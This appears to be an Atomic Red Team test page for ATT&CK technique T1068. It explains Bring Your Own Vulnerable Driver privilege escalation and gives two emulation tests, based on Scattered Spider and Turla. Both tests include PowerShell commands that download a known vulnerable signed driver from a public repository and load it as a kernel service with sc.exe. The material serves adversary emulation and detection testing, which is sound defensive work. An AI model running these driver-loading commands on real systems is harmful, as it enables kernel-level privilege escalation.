T1068

Description from ATT&CK

Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.

Source

Atomic Tests

• Atomic Test #1: Scattered Spider BYOVD (CVE-2015-2291 for Intel Ethernet Diagnostics Driver)
• Atomic Test #2: Turla Snake Malware Privilege Escalation Through VM Driver

Atomic Test #1: Scattered Spider BYOVD (CVE-2015-2291 for Intel Ethernet Diagnostics Driver)

Observed TTP of threat actor Scattered Spider, where a an older, legitimate, cryptographically signed Intel driver with a known vulnerability is downloaded and run to escalate privileges

Supported Platforms: Windows

auto_generated_guid: 1c9ef3e6-bde6-402c-83bc-d89ea8bfd372

Inputs

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

sc.exe create iqvw64e.sys binPath="#{driver_path}" type=kernel
sc.exe start iqvw64e.sys

Cleanup Commands

sc.exe stop iqvw64e.sys
sc.exe delete iqvw64e.sys
Remove-Item -Recurse "#{driver_path}" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Intel driver must exist on disk at the specified location (#{driver_path})

Check Prereq Commands

if(Test-Path "#{driver_path}") {
    exit 0
} else {
    exit 1
}

Get Prereq Commands

$parentpath = Split-Path "#{driver_path}"
New-Item -Type Directory $parentpath -ErrorAction Ignore -Force | Out-Null
$DriverURL = "https://github.com/magicsword-io/LOLDrivers/blob/main/drivers/c796a92a66ec725b7b7febbdc13dc69b.bin?raw=true"
Invoke-WebRequest -Uri $DriverURL -OutFile "#{driver_path}"

Atomic Test #2: Turla Snake Malware Privilege Escalation Through VM Driver

Observed TTP of threat actor Turla in their malware Snake, where a an older, legitimate, cryptographically signed VirtualBox driver with a known vulnerability is downloaded and run to escalate privileges

Reference: https://unit42.paloaltonetworks.com/turla-pensive-ursa-threat-assessment/

Supported Platforms: Windows

auto_generated_guid: 97f621a5-851c-484f-b784-4a9c475006ec

Inputs

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

sc.exe create vboxdrv.sys binPath="#{driver_path}" type=kernel
sc.exe start vboxdrv.sys

Cleanup Commands

sc.exe stop vboxdrv.sys
sc.exe delete vboxdrv.sys
Remove-Item -Recurse "#{driver_path}" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Driver must exist on disk at the specified location (#{driver_path})

Check Prereq Commands

if(Test-Path "#{driver_path}") {
    exit 0
} else {
    exit 1
}

Get Prereq Commands

$parentpath = Split-Path "#{driver_path}"
New-Item -Type Directory $parentpath -ErrorAction Ignore -Force | Out-Null
$DriverURL = "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/eaea9ccb40c82af8f3867cd0f4dd5e9d.bin"
Invoke-WebRequest -Uri $DriverURL -OutFile "#{driver_path}"

Atomic test(s) for this technique last updated: 2026-09-05 00:05:10 UTC